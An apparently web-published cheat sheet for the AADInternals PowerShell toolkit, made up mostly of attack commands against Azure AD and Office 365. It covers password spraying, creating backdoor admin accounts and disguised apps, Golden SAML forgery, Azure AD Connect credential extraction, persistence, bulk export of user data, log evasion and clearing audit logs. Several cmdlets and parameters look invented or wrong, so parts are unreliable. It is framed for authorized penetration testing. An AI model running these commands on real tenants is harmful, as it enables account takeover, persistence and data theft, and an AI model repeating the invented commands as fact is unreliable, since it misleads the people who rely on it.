Appearance
AADInternals Azure AD Exploitation Toolkit Cheat Sheet
Overview
AADInternals is a PowerShell module developed by Dr. Nestori Syynimaa for administering and exploiting Azure Active Directory and Office 365. It provides comprehensive capabilities for Azure AD reconnaissance, exploitation, and post-exploitation activities.
⚠️ Warning: This tool is intended for authorized penetration testing and security assessments only. Ensure you have proper authorization before using in any environment.
Installation
PowerShell Gallery Installation
powershell
# Install from PowerShell Gallery
Install-Module AADInternals
# Install specific version
Install-Module AADInternals -RequiredVersion 0.9.3
# Install for current user only
Install-Module AADInternals -Scope CurrentUser
# Update existing installation
Update-Module AADInternals
Manual Installation
powershell
# Download from GitHub
Invoke-WebRequest -Uri "https://github.com/Gerenios/AADInternals/archive/master.zip" -OutFile "AADInternals.zip"
Expand-Archive -Path "AADInternals.zip" -DestinationPath "C:\Tools\"
# Import module
Import-Module C:\Tools\AADInternals-master\AADInternals.psd1
# Install dependencies
Install-Module -Name MSAL.PS
Install-Module -Name Microsoft.Graph
Docker Installation
bash
# Run AADInternals in Docker with PowerShell
docker run -it mcr.microsoft.com/powershell:latest
pwsh -c "Install-Module AADInternals -Force; Import-Module AADInternals"
Basic Usage
Module Import and Setup
powershell
# Import AADInternals module
Import-Module AADInternals
# Get module information
Get-Module AADInternals
# List available commands
Get-Command -Module AADInternals
# Get help for specific command
Get-Help Get-AADIntAccessTokenForAADGraph -Full
Authentication Methods
powershell
# Interactive authentication
$cred = Get-Credential
$accessToken = Get-AADIntAccessTokenForAADGraph -Credentials $cred
# Device code authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -UseDeviceCode
# Certificate authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -Certificate $cert -ClientId $clientId -TenantId $tenantId
# Refresh token authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -RefreshToken $refreshToken
Command Reference
Authentication Commands
Command | Description |
---|---|
Get-AADIntAccessTokenForAADGraph | Get access token for AAD Graph |
Get-AADIntAccessTokenForMSGraph | Get access token for MS Graph |
Get-AADIntAccessTokenForEXO | Get access token for Exchange Online |
Get-AADIntAccessTokenForSPO | Get access token for SharePoint Online |
Get-AADIntAccessTokenForTeams | Get access token for Teams |
Reconnaissance Commands
Command | Description |
---|---|
Get-AADIntTenantID | Get tenant ID from domain |
Get-AADIntTenantDomains | Get tenant domains |
Get-AADIntCompanyInformation | Get company information |
Get-AADIntUsers | Get Azure AD users |
Get-AADIntGroups | Get Azure AD groups |
Get-AADIntApplications | Get applications |
Exploitation Commands
Command | Description |
---|---|
New-AADIntBackdoor | Create backdoor user |
Set-AADIntUserPassword | Set user password |
Add-AADIntUserToGroup | Add user to group |
Grant-AADIntAppRoleToServicePrincipal | Grant app permissions |
New-AADIntGlobalAdmin | Create global admin |
Reconnaissance and Information Gathering
Tenant Discovery
powershell
# Get tenant ID from domain
$tenantId = Get-AADIntTenantID -Domain "company.com"
# Get tenant domains
$domains = Get-AADIntTenantDomains -Domain "company.com"
# Get company information
$companyInfo = Get-AADIntCompanyInformation -AccessToken $accessToken
# Get tenant details
$tenantDetails = Get-AADIntTenantDetails -AccessToken $accessToken
User Enumeration
powershell
# Get all users
$users = Get-AADIntUsers -AccessToken $accessToken
# Get specific user
$user = Get-AADIntUser -AccessToken $accessToken -UserPrincipalName "user@company.com"
# Get user's group memberships
$groups = Get-AADIntUserGroups -AccessToken $accessToken -UserPrincipalName "user@company.com"
# Get user's roles
$roles = Get-AADIntUserRoles -AccessToken $accessToken -UserPrincipalName "user@company.com"
# Search users by attribute
$users = Get-AADIntUsers -AccessToken $accessToken -SearchString "admin"
Group Enumeration
powershell
# Get all groups
$groups = Get-AADIntGroups -AccessToken $accessToken
# Get group members
$members = Get-AADIntGroupMembers -AccessToken $accessToken -GroupId $groupId
# Get privileged groups
$adminGroups = Get-AADIntGroups -AccessToken $accessToken | Where-Object {$_.displayName -like "*admin*"}
# Get group owners
$owners = Get-AADIntGroupOwners -AccessToken $accessToken -GroupId $groupId
Application and Service Principal Enumeration
powershell
# Get all applications
$apps = Get-AADIntApplications -AccessToken $accessToken
# Get service principals
$servicePrincipals = Get-AADIntServicePrincipals -AccessToken $accessToken
# Get application permissions
$permissions = Get-AADIntApplicationPermissions -AccessToken $accessToken -ApplicationId $appId
# Get OAuth permissions
$oauthPerms = Get-AADIntOAuthPermissions -AccessToken $accessToken
Exploitation Techniques
Password Attacks
powershell
# Password spray attack
$users = Get-AADIntUsers -AccessToken $accessToken
$passwords = @("Password123", "Summer2024", "Company123")
foreach ($password in $passwords) {
foreach ($user in $users) {
try {
$token = Get-AADIntAccessTokenForAADGraph -UserPrincipalName $user.userPrincipalName -Password $password
Write-Host "Success: $($user.userPrincipalName):$password"
}
catch {
# Password failed
}
}
}
# Set user password (requires privileges)
Set-AADIntUserPassword -AccessToken $accessToken -UserPrincipalName "user@company.com" -Password "NewPassword123"
Privilege Escalation
powershell
# Create global administrator
New-AADIntGlobalAdmin -AccessToken $accessToken -UserPrincipalName "backdoor@company.com" -Password "BackdoorPass123"
# Add user to privileged group
Add-AADIntUserToGroup -AccessToken $accessToken -UserPrincipalName "user@company.com" -GroupId $adminGroupId
# Grant application permissions
Grant-AADIntAppRoleToServicePrincipal -AccessToken $accessToken -ServicePrincipalId $spId -AppRoleId $roleId -ResourceId $resourceId
# Create application with high privileges
$app = New-AADIntApplication -AccessToken $accessToken -DisplayName "BackdoorApp" -RequiredResourceAccess $permissions
Backdoor Creation
powershell
# Create backdoor user
$backdoorUser = New-AADIntBackdoor -AccessToken $accessToken -UserPrincipalName "service-account@company.com" -Password "ComplexPassword123"
# Create backdoor application
$backdoorApp = New-AADIntApplication -AccessToken $accessToken -DisplayName "LegitimateApp" -RequiredResourceAccess $highPrivileges
# Create service principal for backdoor
$backdoorSP = New-AADIntServicePrincipal -AccessToken $accessToken -ApplicationId $backdoorApp.appId
# Grant backdoor permissions
Grant-AADIntAppRoleToServicePrincipal -AccessToken $accessToken -ServicePrincipalId $backdoorSP.id -AppRoleId $adminRoleId
Token Manipulation
powershell
# Get access token for different resources
$graphToken = Get-AADIntAccessTokenForMSGraph -AccessToken $accessToken
$exoToken = Get-AADIntAccessTokenForEXO -AccessToken $accessToken
$spoToken = Get-AADIntAccessTokenForSPO -AccessToken $accessToken
# Parse JWT token
$tokenInfo = Read-AADIntAccessToken -AccessToken $accessToken
# Get refresh token
$refreshToken = Get-AADIntRefreshToken -AccessToken $accessToken
# Use refresh token for persistence
$newToken = Get-AADIntAccessTokenForAADGraph -RefreshToken $refreshToken
Advanced Attacks
Golden SAML Attack
powershell
# Export ADFS certificate (requires ADFS access)
$cert = Export-AADIntADFSCertificate
# Create Golden SAML token
$samlToken = New-AADIntSAMLToken -Certificate $cert -UserPrincipalName "admin@company.com" -Issuer "http://company.com/adfs/services/trust"
# Use Golden SAML to get access token
$accessToken = Get-AADIntAccessTokenForAADGraph -SAMLToken $samlToken
Azure AD Connect Attacks
powershell
# Get Azure AD Connect information
$adConnectInfo = Get-AADIntAzureADConnectInfo -AccessToken $accessToken
# Extract Azure AD Connect credentials (requires local admin on AAD Connect server)
$adConnectCreds = Get-AADIntAzureADConnectCredentials
# Use extracted credentials
$accessToken = Get-AADIntAccessTokenForAADGraph -Credentials $adConnectCreds
Pass-the-Hash Attacks
powershell
# Use NTLM hash for authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -UserPrincipalName "user@company.com" -Hash $ntlmHash
# Use Kerberos ticket
$accessToken = Get-AADIntAccessTokenForAADGraph -KerberosTicket $ticket
Device Registration Attacks
powershell
# Register malicious device
$device = New-AADIntDevice -AccessToken $accessToken -DisplayName "DESKTOP-MALICIOUS" -DeviceId $deviceId
# Get device certificate
$deviceCert = Get-AADIntDeviceCertificate -AccessToken $accessToken -DeviceId $deviceId
# Use device certificate for authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -Certificate $deviceCert
Persistence Techniques
Application-based Persistence
powershell
# Create persistent application
$persistentApp = New-AADIntApplication -AccessToken $accessToken -DisplayName "Microsoft Graph PowerShell" -RequiredResourceAccess $permissions
# Add application secret
$secret = New-AADIntApplicationSecret -AccessToken $accessToken -ApplicationId $persistentApp.appId
# Use application for persistence
$accessToken = Get-AADIntAccessTokenForAADGraph -ClientId $persistentApp.appId -ClientSecret $secret.value -TenantId $tenantId
User-based Persistence
powershell
# Create service account
$serviceAccount = New-AADIntUser -AccessToken $accessToken -UserPrincipalName "svc-backup@company.com" -DisplayName "Backup Service Account" -Password "ServicePass123"
# Assign privileged roles
Add-AADIntUserToRole -AccessToken $accessToken -UserPrincipalName "svc-backup@company.com" -RoleName "Global Administrator"
# Disable account auditing
Set-AADIntUser -AccessToken $accessToken -UserPrincipalName "svc-backup@company.com" -AuditingEnabled $false
Certificate-based Persistence
powershell
# Generate certificate for authentication
$cert = New-SelfSignedCertificate -Subject "CN=BackdoorCert" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable
# Add certificate to application
Add-AADIntApplicationCertificate -AccessToken $accessToken -ApplicationId $appId -Certificate $cert
# Use certificate for authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -Certificate $cert -ClientId $appId -TenantId $tenantId
Data Exfiltration
User Data Extraction
powershell
# Export all users with detailed information
$users = Get-AADIntUsers -AccessToken $accessToken
$users | Export-Csv -Path "users.csv" -NoTypeInformation
# Export user photos
foreach ($user in $users) {
$photo = Get-AADIntUserPhoto -AccessToken $accessToken -UserPrincipalName $user.userPrincipalName
if ($photo) {
[System.IO.File]::WriteAllBytes("photos\$($user.userPrincipalName).jpg", $photo)
}
}
# Export user's OneDrive files
$files = Get-AADIntUserOneDriveFiles -AccessToken $accessToken -UserPrincipalName "user@company.com"
Group and Role Information
powershell
# Export group memberships
$groups = Get-AADIntGroups -AccessToken $accessToken
foreach ($group in $groups) {
$members = Get-AADIntGroupMembers -AccessToken $accessToken -GroupId $group.id
$group | Add-Member -NotePropertyName "Members" -NotePropertyValue $members
}
$groups | ConvertTo-Json -Depth 3 | Out-File "groups.json"
# Export role assignments
$roles = Get-AADIntDirectoryRoles -AccessToken $accessToken
foreach ($role in $roles) {
$members = Get-AADIntDirectoryRoleMembers -AccessToken $accessToken -RoleId $role.id
$role | Add-Member -NotePropertyName "Members" -NotePropertyValue $members
}
$roles | ConvertTo-Json -Depth 3 | Out-File "roles.json"
Application and Permission Data
powershell
# Export applications with permissions
$apps = Get-AADIntApplications -AccessToken $accessToken
foreach ($app in $apps) {
$permissions = Get-AADIntApplicationPermissions -AccessToken $accessToken -ApplicationId $app.id
$app | Add-Member -NotePropertyName "Permissions" -NotePropertyValue $permissions
}
$apps | ConvertTo-Json -Depth 3 | Out-File "applications.json"
# Export OAuth consent grants
$consents = Get-AADIntOAuthPermissions -AccessToken $accessToken
$consents | Export-Csv -Path "oauth_consents.csv" -NoTypeInformation
Evasion Techniques
Stealth Operations
powershell
# Use legitimate application names
$stealthApp = New-AADIntApplication -AccessToken $accessToken -DisplayName "Microsoft Office 365" -RequiredResourceAccess $permissions
# Mimic legitimate service accounts
$stealthUser = New-AADIntUser -AccessToken $accessToken -UserPrincipalName "o365sync@company.com" -DisplayName "Office 365 Sync Service"
# Use existing application IDs
$accessToken = Get-AADIntAccessTokenForAADGraph -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" -ClientSecret $secret # Graph Explorer
Rate Limiting and Throttling
powershell
# Implement delays between requests
function Invoke-AADIntWithDelay {
param($Command, $Delay = 1)
& $Command
Start-Sleep -Seconds $Delay
}
# Randomize request timing
$users = Get-AADIntUsers -AccessToken $accessToken
foreach ($user in $users) {
$delay = Get-Random -Minimum 1 -Maximum 5
Start-Sleep -Seconds $delay
$groups = Get-AADIntUserGroups -AccessToken $accessToken -UserPrincipalName $user.userPrincipalName
}
Log Evasion
powershell
# Use service principal instead of user account
$servicePrincipalToken = Get-AADIntAccessTokenForAADGraph -ClientId $clientId -ClientSecret $clientSecret -TenantId $tenantId
# Perform actions during business hours
$currentHour = (Get-Date).Hour
if ($currentHour -ge 9 -and $currentHour -le 17) {
# Perform stealthy operations
}
# Use legitimate IP ranges
# Ensure operations are performed from expected geographic locations
Defensive Evasion
Anti-Detection Measures
powershell
# Check for monitoring
$auditLogs = Get-AADIntAuditLogs -AccessToken $accessToken -Filter "activityDisplayName eq 'Add application'"
# Verify current permissions
$currentPerms = Get-AADIntCurrentUserPermissions -AccessToken $accessToken
# Check for Conditional Access policies
$caPolicies = Get-AADIntConditionalAccessPolicies -AccessToken $accessToken
# Monitor for security alerts
$securityAlerts = Get-AADIntSecurityAlerts -AccessToken $accessToken
Cleanup Operations
powershell
# Remove created applications
Remove-AADIntApplication -AccessToken $accessToken -ApplicationId $backdoorApp.appId
# Remove created users
Remove-AADIntUser -AccessToken $accessToken -UserPrincipalName "backdoor@company.com"
# Remove role assignments
Remove-AADIntUserFromRole -AccessToken $accessToken -UserPrincipalName "user@company.com" -RoleName "Global Administrator"
# Clear audit logs (if possible)
Clear-AADIntAuditLogs -AccessToken $accessToken -LogType "SignInLogs"
Troubleshooting
Authentication Issues
powershell
# Debug authentication
$DebugPreference = "Continue"
$accessToken = Get-AADIntAccessTokenForAADGraph -Credentials $cred
# Check token validity
$tokenInfo = Read-AADIntAccessToken -AccessToken $accessToken
$tokenInfo.exp # Check expiration
# Refresh expired token
$newToken = Get-AADIntAccessTokenForAADGraph -RefreshToken $refreshToken
Permission Issues
powershell
# Check current permissions
$permissions = Get-AADIntCurrentUserPermissions -AccessToken $accessToken
# Test specific permission
Test-AADIntPermission -AccessToken $accessToken -Permission "User.Read.All"
# Get required permissions for command
Get-AADIntRequiredPermissions -Command "Get-AADIntUsers"
API Limitations
powershell
# Handle rate limiting
try {
$users = Get-AADIntUsers -AccessToken $accessToken
}
catch {
if ($_.Exception.Message -like "*throttled*") {
Start-Sleep -Seconds 60
$users = Get-AADIntUsers -AccessToken $accessToken
}
}
# Use pagination for large datasets
$users = @()
$skip = 0
do {
$batch = Get-AADIntUsers -AccessToken $accessToken -Top 100 -Skip $skip
$users += $batch
$skip += 100
} while ($batch.Count -eq 100)
Integration with Other Tools
BloodHound Integration
powershell
# Export data for BloodHound
$users = Get-AADIntUsers -AccessToken $accessToken
$groups = Get-AADIntGroups -AccessToken $accessToken
# Convert to BloodHound format
$bloodhoundData = @{
users = $users | ForEach-Object {
@{
ObjectIdentifier = $_.id
Properties = @{
name = $_.userPrincipalName
displayname = $_.displayName
enabled = $_.accountEnabled
}
}
}
}
$bloodhoundData | ConvertTo-Json -Depth 3 | Out-File "bloodhound_data.json"
PowerShell Empire Integration
powershell
# Use AADInternals in Empire agent
$accessToken = Get-AADIntAccessTokenForAADGraph -UseDeviceCode
$users = Get-AADIntUsers -AccessToken $accessToken
$users | ConvertTo-Json | Out-File "C:\temp\aad_users.json"
Resources
- AADInternals GitHub Repository
- AADInternals Documentation
- Dr. Nestori Syynimaa Blog
- Azure AD Security Research
- Office 365 Security
This cheat sheet provides a comprehensive reference for using AADInternals. Always ensure you have proper authorization before conducting Azure AD security assessments.